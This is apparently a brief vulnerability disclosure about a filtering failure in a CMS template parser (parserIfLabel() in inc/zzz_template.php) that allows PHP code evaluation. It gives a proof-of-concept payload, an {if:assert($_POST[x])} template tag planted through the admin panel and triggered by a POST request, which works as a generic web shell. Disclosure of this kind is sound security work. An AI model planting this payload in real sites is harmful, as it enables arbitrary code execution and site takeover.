Due to the failure of filtering function parserIfLabel() in inc/zzz_template.php, attackers can insert dynamic php code into the template file and leads to dynamic code evaluation.

login in to the admin panel, edit the template of search.html, insert the following code:

{if:assert($_POST[x])}phpinfo();{end if}

Visit the http://webroot/search/ and post data “x = phpinfo();”, the page will execute the php code “phpinfo()” as follow:

While the above exploit requires attackers to have the access to the admin panel, I will post another exploit by using csrf to acquire the control of website without access to the admin panel.
